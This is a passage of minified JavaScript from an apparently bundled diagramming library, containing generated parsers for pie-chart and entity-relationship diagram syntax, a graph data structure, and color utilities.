0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},g={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),23;case 1:return this.begin("type_directive"),24;case 2:return this.popState(),this.begin("arg_directive"),18;case 3:return this.popState(),this.popState(),26;case 4:return 25;case 5:case 6:break;case 7:return 20;case 8:case 9:break;case 10:return this.begin("title"),13;case 11:return this.popState(),"title_value";case 12:this.begin("string");break;case 13:this.popState();break;case 14:return"txt";case 15:return 6;case 16:return 8;case 17:return"value";case 18:return 22}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n\r]+)/i,/^(?:%%[^\n]*)/i,/^(?:[\s]+)/i,/^(?:title\b)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:pie\b)/i,/^(?:showData\b)/i,/^(?::[\s]*[\d]+(?:\.[\d]+)?)/i,/^(?:$)/i],conditions:{close_directive:{rules:[],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},open_directive:{rules:[1],inclusive:!1},title:{rules:[11],inclusive:!1},string:{rules:[13,14],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,12,15,16,17,18],inclusive:!0}}};function m(){this.yy={}}return y.lexer=g,m.prototype=y,y.Parser=m,new m}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,2],n=[1,5],r=[6,9,11,23,37],i=[1,17],a=[1,20],o=[1,25],s=[1,26],c=[1,27],u=[1,28],l=[1,37],h=[23,34,35],f=[4,6,9,11,23,37],d=[30,31,32,33],p=[22,27],y={trace:function(){},yy:{},symbols_:{error:2,start:3,ER_DIAGRAM:4,document:5,EOF:6,directive:7,line:8,SPACE:9,statement:10,NEWLINE:11,openDirective:12,typeDirective:13,closeDirective:14,":":15,argDirective:16,entityName:17,relSpec:18,role:19,BLOCK_START:20,attributes:21,BLOCK_STOP:22,ALPHANUM:23,attribute:24,attributeType:25,attributeName:26,ATTRIBUTE_WORD:27,cardinality:28,relType:29,ZERO_OR_ONE:30,ZERO_OR_MORE:31,ONE_OR_MORE:32,ONLY_ONE:33,NON_IDENTIFYING:34,IDENTIFYING:35,WORD:36,open_directive:37,type_directive:38,arg_directive:39,close_directive:40,$accept:0,$end:1},terminals_:{2:"error",4:"ER_DIAGRAM",6:"EOF",9:"SPACE",11:"NEWLINE",15:":",20:"BLOCK_START",22:"BLOCK_STOP",23:"ALPHANUM",27:"ATTRIBUTE_WORD",30:"ZERO_OR_ONE",31:"ZERO_OR_MORE",32:"ONE_OR_MORE",33:"ONLY_ONE",34:"NON_IDENTIFYING",35:"IDENTIFYING",36:"WORD",37:"open_directive",38:"type_directive",39:"arg_directive",40:"close_directive"},productions_:[0,[3,3],[3,2],[5,0],[5,2],[8,2],[8,1],[8,1],[8,1],[7,4],[7,6],[10,1],[10,5],[10,4],[10,3],[10,1],[17,1],[21,1],[21,2],[24,2],[25,1],[26,1],[18,3],[28,1],[28,1],[28,1],[28,1],[29,1],[29,1],[19,1],[19,1],[12,1],[13,1],[16,1],[14,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 1:break;case 3:this.$=[];break;case 4:a[s-1].push(a[s]),this.$=a[s-1];break;case 5:case 6:this.$=a[s];break;case 7:case 8:this.$=[];break;case 12:r.addEntity(a[s-4]),r.addEntity(a[s-2]),r.addRelationship(a[s-4],a[s],a[s-2],a[s-3]);break;case 13:r.addEntity(a[s-3]),r.addAttributes(a[s-3],a[s-1]);break;case 14:r.addEntity(a[s-2]);break;case 15:r.addEntity(a[s]);break;case 16:this.$=a[s];break;case 17:this.$=[a[s]];break;case 18:a[s].push(a[s-1]),this.$=a[s];break;case 19:this.$={attributeType:a[s-1],attributeName:a[s]};break;case 20:case 21:this.$=a[s];break;case 22:this.$={cardA:a[s],relType:a[s-1],cardB:a[s-2]};break;case 23:this.$=r.Cardinality.ZERO_OR_ONE;break;case 24:this.$=r.Cardinality.ZERO_OR_MORE;break;case 25:this.$=r.Cardinality.ONE_OR_MORE;break;case 26:this.$=r.Cardinality.ONLY_ONE;break;case 27:this.$=r.Identification.NON_IDENTIFYING;break;case 28:this.$=r.Identification.IDENTIFYING;break;case 29:this.$=a[s].replace(/"/g,"");break;case 30:this.$=a[s];break;case 31:r.parseDirective("%%{","open_directive");break;case 32:r.parseDirective(a[s],"type_directive");break;case 33:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 34:r.parseDirective("}%%","close_directive","er")}},table:[{3:1,4:e,7:3,12:4,37:n},{1:[3]},t(r,[2,3],{5:6}),{3:7,4:e,7:3,12:4,37:n},{13:8,38:[1,9]},{38:[2,31]},{6:[1,10],7:15,8:11,9:[1,12],10:13,11:[1,14],12:4,17:16,23:i,37:n},{1:[2,2]},{14:18,15:[1,19],40:a},t([15,40],[2,32]),t(r,[2,8],{1:[2,1]}),t(r,[2,4]),{7:15,10:21,12:4,17:16,23:i,37:n},t(r,[2,6]),t(r,[2,7]),t(r,[2,11]),t(r,[2,15],{18:22,28:24,20:[1,23],30:o,31:s,32:c,33:u}),t([6,9,11,15,20,23,30,31,32,33,37],[2,16]),{11:[1,29]},{16:30,39:[1,31]},{11:[2,34]},t(r,[2,5]),{17:32,23:i},{21:33,22:[1,34],24:35,25:36,27:l},{29:38,34:[1,39],35:[1,40]},t(h,[2,23]),t(h,[2,24]),t(h,[2,25]),t(h,[2,26]),t(f,[2,9]),{14:41,40:a},{40:[2,33]},{15:[1,42]},{22:[1,43]},t(r,[2,14]),{21:44,22:[2,17],24:35,25:36,27:l},{26:45,27:[1,46]},{27:[2,20]},{28:47,30:o,31:s,32:c,33:u},t(d,[2,27]),t(d,[2,28]),{11:[1,48]},{19:49,23:[1,51],36:[1,50]},t(r,[2,13]),{22:[2,18]},t(p,[2,19]),t(p,[2,21]),{23:[2,22]},t(f,[2,10]),t(r,[2,12]),t(r,[2,29]),t(r,[2,30])],defaultActions:{5:[2,31],7:[2,2],20:[2,34],31:[2,33],37:[2,20],44:[2,18],47:[2,22]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",c=0,u=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var m=p.yylloc;a.push(m);var v=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var x,_,k,w,T,E,C,S,A,M={};;){if(k=n[n.length-1],this.defaultActions[k]?w=this.defaultActions[k]:(null==x&&(x=b()),w=o[k]&&o[k][x]),void 0===w||!w.length||!w[0]){var O="";for(E in A=[],o[k])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},g={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),37;case 1:return this.begin("type_directive"),38;case 2:return this.popState(),this.begin("arg_directive"),15;case 3:return this.popState(),this.popState(),40;case 4:return 39;case 5:case 6:break;case 7:return 11;case 8:break;case 9:return 9;case 10:return 36;case 11:return 4;case 12:return this.begin("block"),20;case 13:break;case 14:return 27;case 15:break;case 16:return this.popState(),22;case 17:return e.yytext[0];case 18:return 30;case 19:return 31;case 20:return 32;case 21:return 33;case 22:return 30;case 23:return 31;case 24:return 32;case 25:return 34;case 26:return 35;case 27:case 28:return 34;case 29:return 23;case 30:return e.yytext[0];case 31:return 6}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:[\s]+)/i,/^(?:"[^"]*")/i,/^(?:erDiagram\b)/i,/^(?:\{)/i,/^(?:\s+)/i,/^(?:[A-Za-z][A-Za-z0-9\-_]*)/i,/^(?:[\n]+)/i,/^(?:\})/i,/^(?:.)/i,/^(?:\|o\b)/i,/^(?:\}o\b)/i,/^(?:\}\|)/i,/^(?:\|\|)/i,/^(?:o\|)/i,/^(?:o\{)/i,/^(?:\|\{)/i,/^(?:\.\.)/i,/^(?:--)/i,/^(?:\.-)/i,/^(?:-\.)/i,/^(?:[A-Za-z][A-Za-z0-9\-_]*)/i,/^(?:.)/i,/^(?:$)/i],conditions:{open_directive:{rules:[1],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},block:{rules:[13,14,15,16,17],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,11,12,18,19,20,21,22,23,24,25,26,27,28,29,30,31],inclusive:!0}}};function m(){this.yy={}}return y.lexer=g,m.prototype=y,y.Parser=m,new m}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(11),i=n(6);e.default=function(t){var e=i.default.parse(t),n=e.r,a=e.g,o=e.b,s=.2126*r.default.channel.toLinear(n)+.7152*r.default.channel.toLinear(a)+.0722*r.default.channel.toLinear(o);return r.default.lang.round(s)}},function(t,e,n){"use strict";var r=n(13);t.exports=i;function i(t){this._isDirected=!r.has(t,"directed")||t.directed,this._isMultigraph=!!r.has(t,"multigraph")&&t.multigraph,this._isCompound=!!r.has(t,"compound")&&t.compound,this._label=void 0,this._defaultNodeLabelFn=r.constant(void 0),this._defaultEdgeLabelFn=r.constant(void 0),this._nodes={},this._isCompound&&(this._parent={},this._children={},this._children["\0"]={}),this._in={},this._preds={},this._out={},this._sucs={},this._edgeObjs={},this._edgeLabels={}}function a(t,e){t[e]?t[e]++:t[e]=1}function o(t,e){--t[e]||delete t[e]}function s(t,e,n,i){var a=""+e,o=""+n;if(!t&&a>o){var s=a;a=o,o=s}return a+""+o+""+(r.isUndefined(i)?"\0":i)}function c(t,e,n,r){var i=""+e,a=""+n;if(!t&&i>a){var o=i;i=a,a=o}var s={v:i,w:a};return r&&(s.name=r),s}function u(t,e){return s(t,e.v,e.w,e.name)}i.prototype._nodeCount=0,i.prototype._edgeCount=0,i.prototype.isDirected=function(){return this._isDirected},i.prototype.isMultigraph=function(){return this._isMultigraph},i.prototype.isCompound=function(){return this._isCompound},i.prototype.setGraph=function(t){return this._label=t,this},i.prototype.graph=function(){return this._label},i.prototype.setDefaultNodeLabel=function(t){return r.isFunction(t)||(t=r.constant(t)),this._defaultNodeLabelFn=t,this},i.prototype.nodeCount=function(){return this._nodeCount},i.prototype.nodes=function(){return r.keys(this._nodes)},i.prototype.sources=function(){var t=this;return r.filter(this.nodes(),(function(e){return r.isEmpty(t._in[e])}))},i.prototype.sinks=function(){var t=this;return r.filter(this.nodes(),(function(e){return r.isEmpty(t._out[e])}))},i.prototype.setNodes=function(t,e){var n=arguments,i=this;return r.each(t,(function(t){n.length>1?i.setNode(t,e):i.setNode(t)})),this},i.prototype.setNode=function(t,e){return r.has(this._nodes,t)?(arguments.length>1&&(this._nodes[t]=e),this):(this._nodes[t]=arguments.length>1?e:this._defaultNodeLabelFn(t),this._isCompound&&(this._parent[t]="\0",this._children[t]={},this._children["\0"][t]=!0),this._in[t]={},this._preds[t]={},this._out[t]={},this._sucs[t]={},++this._nodeCount,this)},i.prototype.node=function(t){return this._nodes[t]},i.prototype.hasNode=function(t){return r.has(this._nodes,t)},i.prototype.removeNode=function(t){var e=this;if(r.has(this._nodes,t)){var n=function(t){e.removeEdge(e._edgeObjs[t])};delete this._nodes[t],this._isCompound&&(this._removeFromParentsChildList(t),delete this._parent[t],r.each(this.children(t),(function(t){e.setParent(t)})),delete this._children[t]),r.each(r.keys(this._in[t]),n),delete this._in[t],delete this._preds[t],r.each(r.keys(this._out[t]),n),delete this._out[t],delete this._sucs[t],--this._nodeCount}return this},i.prototype.setParent=function(t,e){if(!this._isCompound)throw new Error("Cannot set parent in a non-compound graph");if(r.isUndefined(e))e="\0";else{for(var n=e+="";!r.isUndefined(n);n=this.parent(n))if(n===t)throw new Error("Setting "+e+" as parent of "+t+" would create a cycle");this.setNode(e)}return this.setNode(t),this._removeFromParentsChildList(t),this._parent[t]=e,this._children[e][t]=!0,this},i.prototype._removeFromParentsChildList=function(t){delete this._children[this._parent[t]][t]},i.prototype.parent=function(t){if(this._isCompound){var e=this._parent[t];if("\0"!==e)return e}},i.prototype.children=function(t){if(r.isUndefined(t)&&(t="\0"),this._isCompound){var e=this._children[t];if(e)return r.keys(e)}else{if("\0"===t)return this.nodes();if(this.hasNode(t))return[]}},i.prototype.predecessors=function(t){var e=this._preds[t];if(e)return r.keys(e)},i.prototype.successors=function(t){var e=this._sucs[t];if(e)return r.keys(e)},i.prototype.neighbors=function(t){var e=this.predecessors(t);if(e)return r.union(e,this.successors(t))},i.prototype.isLeaf=function(t){return 0===(this.isDirected()?this.successors(t):this.neighbors(t)).length},i.prototype.filterNodes=function(t){var e=new this.constructor({directed:this._isDirected,multigraph:this._isMultigraph,compound:this._isCompound});e.setGraph(this.graph());var n=this;r.each(this._nodes,(function(n,r){t(r)&&e.setNode(r,n)})),r.each(this._edgeObjs,(function(t){e.hasNode(t.v)&&e.hasNode(t.w)&&e.setEdge(t,n.edge(t))}));var i={};return this._isCompound&&r.each(e.nodes(),(function(t){e.setParent(t,function t(r){var a=n.parent(r);return void 0===a||e.hasNode(a)?(i[r]=a,a):a in i?i[a]:t(a)}(t))})),e},i.prototype.setDefaultEdgeLabel=function(t){return r.isFunction(t)||(t=r.constant(t)),this._defaultEdgeLabelFn=t,this},i.prototype.edgeCount=function(){return this._edgeCount},i.prototype.edges=function(){return r.values(this._edgeObjs)},i.prototype.setPath=function(t,e){var n=this,i=arguments;return r.reduce(t,(function(t,r){return i.length>1?n.setEdge(t,r,e):n.setEdge(t,r),r})),this},i.prototype.setEdge=function(){var t,e,n,i,o=!1,u=arguments[0];"object"==typeof u&&null!==u&&"v"in u?(t=u.v,e=u.w,n=u.name,2===arguments.length&&(i=arguments[1],o=!0)):(t=u,e=arguments[1],n=arguments[3],arguments.length>2&&(i=arguments[2],o=!0)),t=""+t,e=""+e,r.isUndefined(n)||(n=""+n);var l=s(this._isDirected,t,e,n);if(r.has(this._edgeLabels,l))return o&&(this._edgeLabels[l]=i),this;if(!r.isUndefined(n)&&!this._isMultigraph)throw new Error("Cannot set a named edge when isMultigraph = false");this.setNode(t),this.setNode(e),this._edgeLabels[l]=o?i:this._defaultEdgeLabelFn(t,e,n);var h=c(this._isDirected,t,e,n);return t=h.v,e=h.w,Object.freeze(h),this._edgeObjs[l]=h,a(this._preds[e],t),a(this._sucs[t],e),this._in[e][l]=h,this._out[t][l]=h,this._edgeCount++,this},i.prototype.edge=function(t,e,n){var r=1===arguments.length?u(this._isDirected,arguments[0]):s(this._isDirected,t,e,n);return this._edgeLabels[r]},i.prototype.hasEdge=function(t,e,n){var i=1===arguments.length?u(this._isDirected,arguments[0]):s(this._isDirected,t,e,n);return r.has(this._edgeLabels,i)},i.prototype.removeEdge=function(t,e,n){var r=1===arguments.length?u(this._isDirected,arguments[0]):s(this._isDirected,t,e,n),i=this._edgeObjs[r];return i&&(t=i.v,e=i.w,delete this._edgeLabels[r],delete this._edgeObjs[r],o(this._preds[e],t),o(this._sucs[t],e),delete this._in[e][r],delete this._out[t][r],this._edgeCount--),this},i.prototype.inEdges=function(t,e){var n=this._in[t];if(n){var i=r.values(n);return e?r.filter(i,(function(t){return t.v===e})):i}},i.prototype.outEdges=function(t,e){var n=this._out[t];if(n){var i=r.values(n);return e?r.filter(i,(function(t){return t.w===e})):i}},i.prototype.nodeEdges=function(t,e){var n=this.inEdges(t,e);if(n)return n.concat(this.outEdges(t,e))}},function(t,e,n){var r=n(33)(n(19),"Map");t.exports=r},function(t,e,n){var r=n(222),i=n(229),a=n(231),o=n(232),s=n(233);function c(t){var e=-1,n=null==t?0:t.length;for(this.clear();++e-1&&t%1==0&&t<=9007199254740991}},function(t,e,n){(function(t){var r=n(109),i=e&&!e.nodeType&&e,a=i&&"object"==typeof t&&t&&!t.nodeType&&t,o=a&&a.exports===i&&r.process,s=function(){try{var t=a&&a.require&&a.require("util").types;return t||o&&o.binding&&o.binding("util")}catch(t){}}();t.exports=s}).call(this,n(7)(t))},function(t,e,n){var r=n(63),i=n(239),a=Object.prototype.hasOwnProperty;t.exports=function(t){if(!r(t))return i(t);var e=[];for(var n in Object(t))a.call(t,n)&&"constructor"!=n&&e.push(n);return e}},function(t,e,n){var r=n(116),i=n(117),a=Object.prototype.propertyIsEnumerable,o=Object.getOwnPropertySymbols,s=o?function(t){return null==t?[]:(t=Object(t),r(o(t),(function(e){return a.call(t,e)})))}:i;t.exports=s},function(t,e){t.exports=function(t,e){for(var n=-1,r=e.length,i=t.length;++n0&&a(l)?n>1?t(l,n-1,a,o,s):r(s,l):o||(s[s.length]=l)}return s}},function(t,e,n){var r=n(43);t.exports=function(t,e,n){for(var i=-1,a=t.length;++i4,u=c?1:17,l=c?8:4,h=s?0:-1,f=c?255:15;return r.default.set({r:(i>>l*(h+3)&f)*u,g:(i>>l*(h+2)&f)*u,b:(i>>l*(h+1)&f)*u,a:s?(i&f)*u/255:1},t)}}},stringify:function(t){var e=t.r,n=t.g,r=t.b,a=t.a;return a<1?"#"+i.DEC2HEX[Math.round(e)]+i.DEC2HEX[Math.round(n)]+i.DEC2HEX[Math.round(r)]+i.DEC2HEX[Math.round(255*a)]:"#"+i.DEC2HEX[Math.round(e)]+i.DEC2HEX[Math.round(n)]+i.DEC2HEX[Math.round(r)]}};e.default=a},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(11),i=n(46),a=n(6);e.default=function(t,e,n,o){void 0===o&&(o=1);var 